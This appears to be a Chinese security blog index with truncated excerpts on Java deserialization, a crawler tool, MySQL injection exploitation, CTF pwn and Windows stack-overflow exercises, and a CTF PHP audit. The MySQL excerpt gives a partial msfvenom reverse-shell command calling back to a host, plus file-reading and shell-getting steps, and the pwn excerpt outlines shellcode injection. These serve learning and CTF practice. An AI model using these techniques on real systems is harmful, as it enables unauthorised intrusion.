Java反序列化漏洞原理
一、序列化和反序列化 Java的序列化就是将对象转化为一个二进制的字节流的过程,该字节序列包含该对象的属性和方法;反序列化顾名思义就是将对象字节流转化为对象,而序列化时需要使用writeObject将对象转化为字节流,反序列化需要使用readObject将字节流转化为对象。
本文章所有的Java代码均未导包,可自行Alt + Shift + Enter修复。
下面先写一个简单的类:
123456789101112131415// People.java// 一个对象想要被序列化,那它一定是可序列化对象,故类要实现Serializable接口public class People implements java.io.Serializable{ // 定义三个类属性 public String name; public String sex; public int age; // 构造方法 public People(String name, String sex, int age) { thi ...
Interactive Crawler工具的使用
交互式爬虫是我之前一直想要尝试去做的一个东西,但由于时间问题一直都没有做,最近正好有点时间,写了初版上传到了github上,项目地址:https://github.com/smlins/Interactive-Crawl, 感兴趣的师傅们可以用用,有其他问题或建议在github上或留言都行,我有时间就去完善。
在我印象里,传统的爬虫就是简单的爬取页面上的超链接,但没有办法获取到页面触发事件所产生的http请求和响应,随着科技的发展,其实这种动态爬虫技术早在几年前就已经存在了,只是我们一直没有关注而已,不管怎样先接触下皮毛,再去深入了解。
一、简介 Interactive Crawler是一款交互式爬虫工具,不仅可以爬取页面中的超链接,还能获取通过页面的各种交互事件触发所发起的请求,支持代理设置,可结合其他漏洞扫描工具使用,目前支持以下事件的触发:
Form表单的填写去自动提交;
获取页面的onclick事件并触发该事件;
触发a标签中JavaScript代码;
当然还有以下事件的触发未实现:
获取所有按钮并点击触发;
如果按钮不是通过JavaScript代码中绑定 ...
Mysql注入漏洞的相关利用
1. load_file命令可用通过sql语句中的load_file函数可读取任意文件的内容
可以爆破mysql配置文件路径并读取账号密码;
可以读取一些代码文件做代码审计;
可以获取目标web服务器的各个详细的配置信息并根据版本找脆弱点;
若获取到MYSQL的账号密码,则有以下获取shell的方法:
2. system命令可用
以下方式默认都已知mysql服务器账号密码,不然很多配置都是默认关闭,很难利用。当然,如果目标服务器已满足利用条件更好。
0x01. 直接getshellMysql 5.x新增命令system可直接执行系统命令,故可直接连接mysql命令终端输入system bash即可在当前终端获取一个shell。
0x02. Metasploit 反弹shell利用Metasploit 生成对应的后门文件,再利用python开启http服务,令目标文件下载木马并执行;
1234msfvenom -p linux/x64/shell_reverse_tcp lhost=192.168.88.10 lport=4444 -f elf -o test# 在8080 ...
CTFhub-PWN题目
1. ret2text略
2. ret2shellcode0x01.基础信息分析通过readelf -h可看出该文件是一个AMD64架构的elf文件。
使用checksec也未发现栈保护机制,故栈区可执行shellcode
0x02.IDA静态分析使用IDA pro x64进入main函数,并按F5转换成C语言代码
由于read函数会读取0x400个字节,而buf变量只有0x10个字节的空间大小,足以实现栈溢出,且无可直接利用的system、execve函数,故大体思路为:
找出ret地址并覆盖为可控地址,不过通过ida分析,buf只有0x10字节的空间大小,即16个字符,那么16+8(rbp)就是return地址;
自己写shellcode或通过pwntools生成;
确定shellcode在栈中的内存地址;
构造payload,并通过python实现栈溢出漏洞的利用,并获得shell;
0x03.GDB动态调试使用gdb载入待调试文件,并以汇编形式展示main函数在read函数的上一句先打一个断点,并开始进行动态调试,可以看到程序输出一个一个地址为0x7fffffffe40 ...
Windows栈溢出练习
1. 实验环境
操作系统:Windows XP系统 SP3
IDE:Microsoft VC++6.0
2. 实验步骤0x01.C程序编写先使用危险函数编写一个简单的C程序并生成32位的exe文件
123456789101112#include<stdio.h>#include<string.h>char name[] = "hello";int main() { char buffer[8]; strcpy(buffer, name); printf("%s\n", buffer); getchar(); return 0;}
0x02.溢出分析先拖入IDA找到C语言程序的入口函数并记录其地址双击点击_main_0进行跟进,即可看到C的main函数起始地址
1234; 函数调用前的操作push ebp ; 先把当前函数的栈底ebp压入栈中mov ebp, esp ; 为调用的函数分配新的栈底sub esp, 4c ; 抬高栈顶esp指针,实际就是为当前函数分配局部变量空间
进入OD直接在0x004 ...
2021年全国行业职业技能竞赛
SimplePHP0x01 反射类-读取文件是一道代码审计题,源码如下
12345678910111213141516171819202122232425262728293031323334353637383940414243<?php/** maybe you need get the contents in hint.php! Ohhhhh you don't know how to get it? Why don't you try readfile?**/error_reporting(0);show_source(__FILE__);Class Hello{ public $filename; public $contents; public function __construct(){ $this->filename = "hint.php"; $this->contents = "you guess"; ...